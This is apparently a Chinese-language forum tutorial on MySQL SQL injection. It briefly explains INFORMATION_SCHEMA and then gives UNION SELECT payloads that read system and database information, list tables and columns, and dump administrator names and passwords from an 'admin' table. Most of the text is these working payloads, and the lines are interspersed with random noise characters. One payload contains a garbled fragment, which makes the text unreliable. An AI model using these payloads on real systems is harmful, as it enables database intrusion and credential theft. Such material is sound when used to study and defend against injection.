mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
) m; C: K1 J( d" h- R2 q* S. O
4 u8 f+ ]) G! U; x1 A学习盲注前先了解下 IFORMATION_SCHEMA 库
0 u+ T& k/ K; @* T$ n7 h) u
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
0 o. o; r8 V7 w+ P5 `$ Y" s( y1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
3 Z/ ]- M  k# e8 S& D|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
! q! k4 X% _7 f" U- ~+ d. l; x% I|---字段：TABLE_NAME ->存储表的表名
" K0 B: j; N% _, V7 _- L1 a
" j9 Z- v/ m$ e/ G|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
. d8 S* s$ N4 f7 y; c|---字段：TABLE_NAME ->存储所属表的名称

8 J, s5 |* L- y+ C|---字段：COLUMN_NAME ->该字段的名称

' D" T3 F! g% d5 M/ c2 s1 g, z

2 ^- u* e# `) b+ Q###########################################################################

3 W2 Q6 G' y& P0x001 获取系统信息:

8 D, M0 w( Y# }! Cunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
9 l! A6 C6 G  o5 m1 s! f$ a
/*

, x2 v  D8 S/ J; E@@global.version_compile_os 获取系统版本
+ ?/ N. k$ r& |5 a
@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

3 O7 Z1 ^2 ?: m9 [/ f*/
7 I) {, z6 S+ z5 o8 E


######################################################################

0x002 获取表名
9 M8 a* X: D* B6 {& y2 G7 A
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

  I( e% P- F# \
9 _9 \5 o) Z' y8 P# @& z# b
/*

0x67617264656e 为当前数据库名

- h3 o, [- Y' Bgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
" G  d# W! c3 C2 j3 }
*/
* |+ @* B/ q. i/ _% W8 f
/ i- N+ r; C  T+ z! T######################################################################
9 O" A# a& y/ ?

" z" ?4 v, h5 j& j. ^
0x003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

! G% q) m- s6 u/*
/ ~6 ^: |: q2 C0 V& i
5 M1 D& I; T4 f7 ^group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
" ]/ D, R- l$ E: G2 \3 |
, j9 s# A- W. y( V0x61646d696e ->选择一个表

0x67617264656e ->数据库名

* {4 P6 o# i7 n6 H9 I*/
4 s0 F& d- e  g* s' |( d: l) L7 H
#####################################################################

9 H) g* a# Z2 U8 q
; Q9 Z0 S* R( M* B8 x0 Z. ]2 h3 a8 a
0x004 获取数据
3 z3 w6 f' L# J2 x, |
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

. }! n: b0 o# Y! w: A* sunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin



8 I& N* a/ Y1 q* l, I. R4 C' @/*

5 c* }8 t# e, {4 X. X' K& c6 a! R0x3c62723e 换行符号HEX编码
- A, k3 Z/ j  n6 ~. b# x
1 s, K- K8 A; {- V  f2 i$ B% `group_concat 同时获得该字段所有数据

2 W; [( D! o5 f! S1 U*/
9 I+ X' O. E4 u, h2 b7 E+ H7 q